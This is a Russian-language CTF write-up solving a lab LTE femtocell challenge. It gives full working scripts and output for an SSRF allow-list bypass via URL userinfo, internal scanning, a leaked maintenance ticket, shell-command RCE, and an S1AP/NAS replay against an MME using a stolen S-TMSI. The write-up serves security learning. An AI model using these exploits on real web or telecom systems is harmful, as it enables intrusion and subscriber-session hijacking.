infosecfamily
← В каталог
Кубок CTF  /  Hard

Hidden Network

Исполнитель: Тестирование выполнено Кравцовым Николаем, специалистом по информационной безопасности

Область тестирования и использованные службы.

IP/домен Порт Сервис Сервис целевого сервера
localhost - Python 3 -
localhost - curl -
localhost - pycrate / pysctp -
INSTANCE 80 Flask Femtocell Management +
172.19.0.2 36412 MME (S1AP, SCTP) +
172.19.0.3 8081 femto-agent (Flask) +
172.19.0.4 8082 mme-log-relay (Flask) +
172.19.0.5 8080 веб-приложение (второй интерфейс) +

Словарь терминов

Чтобы было понятно без знания телефонии:

  • LTE (Long-Term Evolution) - стандарт мобильной связи 4G. Телефон общается с вышкой, вышка - с ядром сети.
  • UE (User Equipment) - абонентское устройство: телефон, модем, модуль интернета вещей.
  • eNB (evolved Node B) - базовая станция LTE, «вышка», к которой подключается UE.
  • Cell (сота) - зона покрытия одной базовой станции или одного её сектора.
  • EPC (Evolved Packet Core) - ядро сети LTE: набор серверов, которые обслуживают подключение.
  • MME (Mobility Management Entity) - один из серверов ядра. Он регистрирует UE, проверяет подлинность (аутентификация), хранит контекст - состояние и параметры сессии абонента - и обрабатывает служебные процедуры вроде TAU.
  • SCTP (Stream Control Transmission Protocol) - транспортный протокол, альтернатива TCP: передаёт сообщения целиком и поддерживает несколько потоков в одном соединении. В LTE по нему eNB и MME общаются на порту 36412.
  • S1AP (S1 Application Protocol) - протокол сигнализации между eNB и MME поверх SCTP. Через него вышка регистрируется на MME, передаёт сообщения от UE и получает ответы.
  • NAS (Non-Access Stratum) - протокол сигнализации между UE и MME. Он «не виден» вышке: eNB просто упаковывает NAS-сообщение в S1AP и передаёт дальше.
  • TAU (Tracking Area Update) - процедура обновления местоположения: UE сообщает сети, что находится в новой зоне, и предъявляет временный идентификатор.
  • Tracking Area (TA) - группа сот, в пределах которой UE может перемещаться без обновления местоположения.
  • IMSI (International Mobile Subscriber Identity) - постоянный идентификатор абонента, который хранится на SIM-карте.
  • TMSI (Temporary Mobile Subscriber Identity) - временный идентификатор абонента, который сеть выдаёт вместо IMSI, чтобы не гонять постоянный идентификатор по радио.
  • S-TMSI - сокращённый TMSI для LTE: состоит из mMEC и M-TMSI.
  • M-TMSI - случайная часть S-TMSI, идентифицирующая UE внутри MME.
  • mMEC - код MME, по которому сеть понимает, какой именно MME обслуживает абонента.
  • GUTI (Globally Unique Temporary Identity) - глобально уникальный временный идентификатор: включает идентификатор MME и TMSI. S-TMSI - его короткая форма для радиоинтерфейса.
  • PLMN (Public Land Mobile Network) - идентификатор сети оператора: MCC (код страны) + MNC (код оператора).
  • TAI (Tracking Area Identity) - идентификатор зоны отслеживания: PLMN + TAC.
  • TAC (Tracking Area Code) - код зоны внутри сети оператора.
  • EUTRAN-CGI (E-UTRAN Cell Global Identifier) - глобальный идентификатор соты: PLMN + код соты.
  • payload - полезная нагрузка, данные, которые один протокол несёт внутри другого.

Как устроена модель и почему это работает

Чтобы понять модель задачи, нужно представлять, как в LTE проходит сигнализация. При подключении UE (телефон) отправляет через eNB (вышку) NAS-сообщение; eNB упаковывает его в S1AP и передаёт в MME (сервер ядра) по SCTP. MME проверяет абонента, создаёт контекст (запись о сессии) и выдаёт временный идентификатор - GUTI, короткая форма которого S-TMSI. При перемещении UE делает TAU: присылает NAS TAU-запрос со старым S-TMSI, а MME по этому S-TMSI находит контекст и продолжает обслуживание.

В задаче MME уже хранит контекст старой UE, а relay-лог сливает NAS TAU-запрос и S-TMSI (mMEC + M-TMSI). Атакующий не имеет доступа к радио, но после SSRF и RCE попадает во внутреннюю сеть и может говорить с MME по SCTP напрямую. Он отправляет S1AP InitialUEMessage, внутри которого лежит украденный NAS TAU, и подставляет S-TMSI старой UE. MME ищет контекст по S-TMSI, находит его и обрабатывает сообщение как легитимное - хотя пришло оно от другого eNB.

Модель атаки: веб-уязвимость (SSRF) → RCE в контейнере → доступ к внутреннему SCTP-сервису MME → replay украденной NAS-сессии с чужим S-TMSI. Ключевая точка - S-TMSI: без него MME не находит контекст (M-TMSI=0x0), с ним - принимает «чужой голос» за голос владельца. В реальном LTE NAS защищён проверкой целостности и счётчиками, но в модели задачи эта проверка упрощена; именно это и обыгрывает подсказка про «чужой служебный шёпот».

Использованные файлы:

  • ssrf_probe.py - проверка SSRF и обхода allow-list.
  • scan_services.py - сканирование внутренних подсетей через SSRF.
  • enumerate_v1.py - поиск маршрутов /v1/ на внутренних сервисах.
  • console_chain.py - получение maintenance-тикета, разблокировка консоли и выполнение команд.
  • exploit_s1ap.py - S1AP/NAS replay на MME и извлечение флага.
  • flag.txt - флаг.
  • evidence.txt - подтверждение получения флага.

Оглавление

  1. Словарь терминов
  2. Разведка веб-приложения
  3. Обход allow-list в SSRF
  4. Карта внутренней сети
  5. Поиск маршрутов /v1/
  6. Утечка maintenance-тикета
  7. Консоль и RCE
  8. Relay-лог MME
  9. S1AP/NAS replay

Порядок действий

1) Разведка веб-приложения

Публичный инстанс - Flask-приложение «Femtocell Management». Смотрим основные маршруты:

  • /, /maintenance, /maintenance/console
  • /health, /robots.txt, /static/dashboard.js
  • /api/logs?name=...
  • /api/diagnostics/connectivity-test?target=...

В dashboard.js находим внутренний peer:

http://mme-monitor:8081/health

Снаружи он недоступен, но приложение умеет ходить по произвольному target - это и есть точка входа.

2) Обход allow-list в SSRF

В connectivity-test стоит проверка только на строковый префикс, а нормализация URL пересобирает адрес через urlsplit. Сначала посмотрим на уязвимый код приложения.

@app.get("/api/diagnostics/connectivity-test")
def connectivity_test():
    target = request.args.get("target", "http://mme-monitor:8081/health")
    if not target.startswith("http://mme-monitor"):
        abort(403, description="Target is outside the configured management peer")
    try:
        normalized_target = normalize_probe_target(target)
        with urlrequest.urlopen(normalized_target, timeout=2) as response:
            body = response.read(4096).decode("utf-8", errors="replace")
            return jsonify({"target": target, "status": response.status, "body": body})
    except urlerror.HTTPError as exc:
        body = exc.read(4096).decode("utf-8", errors="replace")
        return jsonify({"target": target, "status": exc.code, "body": body}), exc.code
    except (OSError, ValueError, urlerror.URLError) as exc:
        return jsonify({"target": target, "status": "unreachable", "error": str(exc)}), 502


def normalize_probe_target(target):
    parsed = urlsplit(target)
    if parsed.scheme != "http" or not parsed.hostname:
        raise ValueError("invalid HTTP target")
    try:
        port = f":{parsed.port}" if parsed.port is not None else ""
    except ValueError as exc:
        raise ValueError("invalid target port") from exc
    return urlunsplit((parsed.scheme, f"{parsed.hostname}{port}", parsed.path, parsed.query, ""))

Ключевые точки:

  • startswith проверяет исходную строку целиком, включая userinfo;
  • normalize_probe_target берёт только parsed.hostname, поэтому mme-monitor:8081@... превращается в адрес после @;
  • в результате проверка и фактическое соединение смотрят на разные части URL.

Поэтому такой target проходит проверку, но запрос уходит на внутренний IP:

http://mme-monitor:8081@172.19.0.3:8081/v1/jobs/8427

Для проверки гипотезы используем ssrf_probe.py. Скрипт собирает target с userinfo, кодирует его в connectivity-test и печатает статус и начало ответа.

import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://INSTANCE"


def ssrf(inner, timeout=12):
    target = "http://mme-monitor:8081@" + inner
    url = BASE + "/api/diagnostics/connectivity-test?target=" + urllib.parse.quote(target, safe="")
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        return r.status, r.read(800)
    except urllib.error.HTTPError as e:
        return e.code, e.read(800)
    except Exception as e:
        return "ERR", str(e).encode()


if __name__ == "__main__":
    for x in sys.argv[2:]:
        print(x, "=>", ssrf(x))
        time.sleep(0.8)
  • Запуск:
python3 ssrf_probe.py http://INSTANCE http://172.19.0.3:8081/v1/health
  • Результат:
http://172.19.0.3:8081/v1/health => (200, b'{"service":"femto-agent","status":"ok"}')

3) Карта внутренней сети

scan_services.py перебирает адреса во внутренних подсетях и порты, оборачивая каждый запрос в тот же SSRF. Для каждой пары IP:порт он смотрит на status и body ответа: если сервис ответил, пара печатается, если соединение отклонено или имя не резолвится - пропускается.

import concurrent.futures
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request

HOST = os.environ.get("INST", "INSTANCE")
SSRF = "http://%s/api/diagnostics/connectivity-test?target=" % HOST


def ssrf(target, timeout=6):
    url = SSRF + urllib.parse.quote(target, safe="")
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        body = r.read()
        try:
            return json.loads(body)
        except Exception:
            return {"_raw": body.decode("utf-8", "replace")[:200]}
    except urllib.error.HTTPError as e:
        try:
            return json.loads(e.read())
        except Exception:
            return {"_http": e.code}
    except Exception as e:
        return {"_err": str(e)}


def probe(hp):
    host, port = hp
    j = ssrf("http://mme-monitor:8081@%s:%d/" % (host, port))
    if "_err" in j:
        return None
    if "_http" in j:
        return (host, port, "HTTP%d" % j["_http"], str(j)[:150])
    st = j.get("status")
    if st == "unreachable":
        err = str(j.get("error", "")).lower()
        if "refused" in err or "name resolution" in err or "timed out" in err:
            return None
        return (host, port, st, str(j)[:150])
    return (host, port, st, str(j.get("body"))[:200].replace("\n", " "))


if __name__ == "__main__":
    nets = sys.argv[1].split(",") if len(sys.argv) > 1 else ["172.19.0", "172.18.0"]
    ports = [int(x) for x in (sys.argv[2].split(",") if len(sys.argv) > 2 else ["80", "8000", "8080", "8081", "8082", "3000", "5000", "8888", "9000"])]
    targets = [("%s.%d" % (n, i), p) for n in nets for i in range(1, 16) for p in ports]
    with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
        for r in ex.map(probe, targets):
            if r:
                print(r, flush=True)
  • Запуск:
INST=INSTANCE python3 scan_services.py 172.19.0,172.18.0 80,8000,8080,8081,8082,3000
  • Результат:
('172.19.0.2', 8081, 'HTTP404', "{'_http': 404}")
('172.19.0.3', 8081, 200, '{"service":"femto-agent","status":"ok"}')
('172.19.0.4', 8082, 200, '{"service":"femto-log-relay","status":"ok"}')
('172.19.0.5', 8080, 200, '<!doctype html><html lang="ru">...')

Итог:

  • 172.19.0.2 - настоящий MME, SCTP-порт 36412, S1AP; TCP 8081 закрыт.
  • 172.19.0.3:8081 - femto-agent.
  • 172.19.0.4:8082 - mme-log-relay.
  • 172.19.0.5:8080 - публичное веб-приложение.

DNS внутри контейнеров не работал (EAI_AGAIN), поэтому дальше везде используем IP.

4) Поиск маршрутов /v1/

Сначала казалось, что внутренние сервисы закрыты Host-заголовком: корень и очевидные пути отдавали 404. На самом деле все маршруты лежали под /v1/. enumerate_v1.py перебирает словарь типовых имён (health, jobs, tickets, diagnostics, sessions и т.д.) и печатает всё, что ответило не 404.

import concurrent.futures
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request

HOST = os.environ.get("INST", "INSTANCE")
SSRF = "http://%s/api/diagnostics/connectivity-test?target=" % HOST
NAMES = """health status ready live ping probe version info whoami metrics
sessions session session/new session/list session/show session/get auth login logout token tokens
tickets ticket ticket/new ticket/issue issue claim
dispatch support field-support
logs log log/8427 log/1 logs/8427
echo s1 s1ap mme hss ue enb gnb cgi tr069 cwmp acs device devices devices/FEMTO-042
agent femto femtocell femto-agent job jobs queue queue/status worker workers
messages message relay relay/logs relay/sessions
register announce heartbeat config env flag flags secret secrets
maintenance console admin debug
management peers peer monitor monitoring diagnostics connectivity""".split()


def ssrf(target, timeout=10):
    url = SSRF + urllib.parse.quote(target, safe="")
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        body = r.read()
        try:
            return json.loads(body)
        except Exception:
            return {"_raw": body.decode("utf-8", "replace")[:400]}
    except urllib.error.HTTPError as e:
        try:
            return json.loads(e.read())
        except Exception:
            return {"_http": e.code}
    except Exception as e:
        return {"_err": str(e)}


def probe(args):
    ip, port, path = args
    j = ssrf("http://mme-monitor:8081@%s:%d%s" % (ip, port, path))
    if "_err" in j:
        return (ip, path, "ERR", j["_err"][:50])
    st = j.get("status")
    body = str(j.get("body", j.get("_raw", "")))[:250].replace("\n", " ")
    if st == 404:
        return None
    return (ip, path, st, body, j.get("error", ""))


if __name__ == "__main__":
    paths = set()
    for n in NAMES:
        for p in ["/v1/" + n, "/v1/" + n + "/"]:
            paths.add(p)
    targets = [(ip, port, p) for ip, port in [("172.19.0.3", 8081), ("172.19.0.4", 8082)] for p in paths]
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
        for r in ex.map(probe, targets):
            if r:
                print(r, flush=True)
  • Запуск:
INST=INSTANCE python3 enumerate_v1.py
  • Результат:
('172.19.0.3', '/v1/health', 200, '{"service":"femto-agent","status":"ok"}', '')
('172.19.0.3', '/v1/jobs/8427', 200, '{"device_id":"FEMTO-042",...}', '')
('172.19.0.4', '/v1/health', 200, '{"service":"femto-log-relay","status":"ok"}', '')
('172.19.0.4', '/v1/diagnostics/ran-support-cache.log', 200, 'S1AP UL NAS trace:...', '')

5) Утечка maintenance-тикета

На femto-agent нашёлся pre-auth маршрут /v1/jobs/8427. Он отдаёт контекст задания без проверки владельца.

  • Запрос:
GET /api/diagnostics/connectivity-test?target=http%3A%2F%2Fmme-monitor%3A8081%40172.19.0.3%3A8081%2Fv1%2Fjobs%2F8427
  • Результат:
{
  "device_id": "FEMTO-042",
  "id": 8427,
  "m_tmsi": "0x63abd840",
  "maintenance_ticket": "MNT-FEMTO-042-1e6821-Mdtd0dK9mkeWWfdJ",
  "nas_log": "ran-support-cache.log",
  "state": "periodic-tau-captured",
  "subscriber_ref": "lab-ue-001",
  "ticket_expires_at": 1793466867
}

Тикет одноразовый и живёт 15 минут, но выдаётся без авторизации, поэтому его можно получить в любой момент.

6) Консоль и RCE

Отправляем тикет на /maintenance. При успехе в сессию пишется console_unlocked=true, и открывается /maintenance/console. Консоль выполняет команды через /bin/sh -lc:

def execute_diagnostic(command):
    container_guard()
    command = command.strip()
    if not command:
        return 0, ""
    if len(command) > MAX_COMMAND_LENGTH:
        return 2, f"command is limited to {MAX_COMMAND_LENGTH} characters"
    try:
        completed = subprocess.run(
            ["/bin/sh", "-lc", command],
            cwd="/opt/femto",
            capture_output=True,
            text=True,
            timeout=4,
            check=False,
        )
    except subprocess.TimeoutExpired:
        return 124, "command timed out after 4 seconds"
    except OSError as exc:
        return 127, str(exc)
    output = completed.stdout
    if completed.stderr:
        output += f"\n[stderr]\n{completed.stderr}"
    return completed.returncode, output.rstrip()

console_chain.py автоматизирует всю цепочку: делает SSRF-запрос к /v1/jobs/<id>, достаёт тикет, отправляет его на /maintenance, сохраняет cookie и выполняет указанную команду через /maintenance/console.

import argparse
import http.cookiejar
import json
import urllib.parse
import urllib.request


def ssrf(base, inner, timeout=20):
    target = "http://mme-monitor:8081@" + inner
    url = base + "/api/diagnostics/connectivity-test?target=" + urllib.parse.quote(target, safe="")
    with urllib.request.urlopen(url, timeout=timeout) as r:
        return json.loads(r.read().decode())


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("base")
    ap.add_argument("--agent", default="172.19.0.3:8081")
    ap.add_argument("--job", default="8427")
    ap.add_argument("command", nargs="?", default="id; hostname; ls -la /opt/femto")
    args = ap.parse_args()

    j = ssrf(args.base, "http://%s/v1/jobs/%s" % (args.agent, args.job))
    body = j["body"]
    if isinstance(body, str):
        body = json.loads(body)
    ticket = body["maintenance_ticket"]

    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    data = urllib.parse.urlencode({"ticket": ticket}).encode()
    opener.open(urllib.request.Request(args.base + "/maintenance", data=data), timeout=20).read()
    data = urllib.parse.urlencode({"command": args.command}).encode()
    r = opener.open(urllib.request.Request(args.base + "/maintenance/console", data=data), timeout=20)
    print(r.read().decode("utf-8", "replace"))


if __name__ == "__main__":
    main()
  • Запуск:
python3 console_chain.py http://INSTANCE --agent 172.19.0.3:8081 --job 8427 "id; pwd; ls -la /opt/femto"
  • Результат:
uid=10001(femto) gid=999(femto) groups=999(femto)
/opt/femto
total 44
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 .
drwxr-xr-x 1 root  root  4096 Oct 29 20:48 ..
-rw-r--r-- 1 femto femto 4520 Oct 29 19:45 agent.py
-rw-r--r-- 1 femto femto 6286 Oct 28 19:41 app.py
-rw-r--r-- 1 femto femto 7844 Oct 29 19:48 log_relay.py
-rw-r--r-- 1 femto femto   44 Oct 29 20:48 requirements.txt
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 static
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 templates

Читаем app.py, agent.py, log_relay.py и понимаем, где лежит «эхо» старой сессии.

7) Relay-лог MME

log_relay.py пересылает диагностический лог MME в файл, доступный по:

GET http://172.19.0.4:8082/v1/diagnostics/ran-support-cache.log
  • Команда:
curl -s http://172.19.0.4:8082/v1/diagnostics/ran-support-cache.log | grep 'tracking-area-update'
  • Результат:
S1AP UL NAS trace: procedure=tracking-area-update ingress=initial_ue_message m_tmsi=0x63abd840 enb_ue_s1ap_id=318 mme_ue_s1ap_id=0 security_header_type=1 integrity=ok nas_pdu_hex=171a1b8575020748...02abc0

В логе есть всё нужное:

  • m_tmsi=0x63abd840 - идентификатор старой UE;
  • nas_pdu_hex=... - полный NAS TAU Request;
  • mMEC=0x1a - код MME для S-TMSI.

Это и есть «эхо»: голос старой сессии, который MME всё ещё готов слушать.

8) S1AP/NAS replay

MME слушает SCTP 172.19.0.2:36412. Скрипт exploit_s1ap.py делает три вещи:

  1. Кодирует S1SetupRequest (eNB ID, PLMN, TAC) и отправляет его на MME.
  2. Кодирует InitialUEMessage с NAS PDU из лога и вставляет S-TMSI IE (id 96) с mMEC=0x1a и m-TMSI=0x63abd840.
  3. Читает ответы и ищет в них ctfcup{...}.

Критичный момент: без IE S-TMSI MME не находит старую сессию и пишет:

No registered UE context for TAU, M-TMSI=0x0
import socket
import time
import re
from sctp import sctpsocket_tcp
from pycrate_asn1dir import S1AP

P = S1AP.S1AP_PDU_Descriptions().S1AP_PDU

NAS = bytes.fromhex(
    "171a1b8575020748030bf600f11000011a63abd8405805f0f0c040091300f1100006c11002abc0"
)

STMSI = {"mMEC": b"\x1a", "m-TMSI": b"\x63\xab\xd8\x40"}


def enc(val):
    P.set_val(val)
    return P.to_aper()


def setup(enbid, name):
    return ("initiatingMessage", {
        "procedureCode": 17,
        "criticality": "reject",
        "value": ("S1SetupRequest", {"protocolIEs": [
            {"id": 59, "criticality": "reject", "value": ("Global-ENB-ID", {
                "pLMNidentity": bytes.fromhex("00f110"),
                "eNB-ID": ("macroENB-ID", (enbid, 20))})},
            {"id": 60, "criticality": "ignore", "value": ("ENBname", name)},
            {"id": 64, "criticality": "reject", "value": ("SupportedTAs", [{
                "tAC": bytes.fromhex("0007"),
                "broadcastPLMNs": [bytes.fromhex("00f110")]}])},
            {"id": 137, "criticality": "ignore", "value": ("PagingDRX", "v64")},
        ]})})


def ium(nas):
    return ("initiatingMessage", {
        "procedureCode": 12,
        "criticality": "reject",
        "value": ("InitialUEMessage", {"protocolIEs": [
            {"id": 8, "criticality": "reject", "value": ("ENB-UE-S1AP-ID", 5218)},
            {"id": 26, "criticality": "reject", "value": ("NAS-PDU", nas)},
            {"id": 96, "criticality": "reject", "value": ("S-TMSI", STMSI)},
            {"id": 67, "criticality": "reject", "value": ("TAI", {
                "pLMNidentity": bytes.fromhex("00f110"),
                "tAC": bytes.fromhex("0007")})},
            {"id": 100, "criticality": "ignore", "value": ("EUTRAN-CGI", {
                "pLMNidentity": bytes.fromhex("00f110"),
                "cell-ID": (1, 28)})},
            {"id": 134, "criticality": "ignore",
             "value": ("RRC-Establishment-Cause", "mo-Signalling")},
        ]})})


def main():
    for eid in (0x44D, 0x999):
        s = sctpsocket_tcp(socket.AF_INET)
        s.settimeout(2)
        s.connect(("172.19.0.2", 36412))
        s.sctp_send(enc(setup(eid, "epc-lab-main")), ppid=18, stream=0)
        time.sleep(0.5)
        try:
            print("S", hex(eid), s.recv(65535).hex(), flush=True)
        except Exception as e:
            print("SE", e, flush=True)
        s.sctp_send(enc(ium(NAS)), ppid=18, stream=0)
        for i in range(6):
            try:
                d = s.recv(65535)
                print("R", hex(eid), i, d.hex(), flush=True)
                m = re.search(rb"ctfcup\{[^}]+\}", d)
                if m:
                    print("FLAG", m.group().decode(), flush=True)
            except Exception as e:
                print("E", hex(eid), i, e, flush=True)
                break
        s.close()


if __name__ == "__main__":
    main()
  • Запуск:
python3 exploit_s1ap.py
  • Результат:
R 0x44d 0 000b403b000003000000034005dc00080003401462001a00262507fe6374666375707b7461755f7265706c61795f386430363661303632393061356330617d
FLAG ctfcup{tau_replay_8d066a06290a5c0a}
R 0x999 0 000b403b000003000000034005dc00080003401462001a00262507fe6374666375707b7461755f7265706c61795f386430363661303632393061356330617d
FLAG ctfcup{tau_replay_8d066a06290a5c0a}

Флаг:

ctfcup{tau_replay_8d066a06290a5c0a}

Примечание

Примечание: Задача понравилась тем, что финальный шаг - не очередной веб-баг, а работа с телеком-протоколом: нужно было не просто достучаться до MME, а воспроизвести старую NAS-сессию с правильным S-TMSI. До этого цепочка полностью вебовая: SSRF, утечка тикета, RCE и чтение внутреннего лога. Именно сочетание веба и LTE/S1AP делает задачу запоминающейся. P.S.: спасибо МТС за такие познания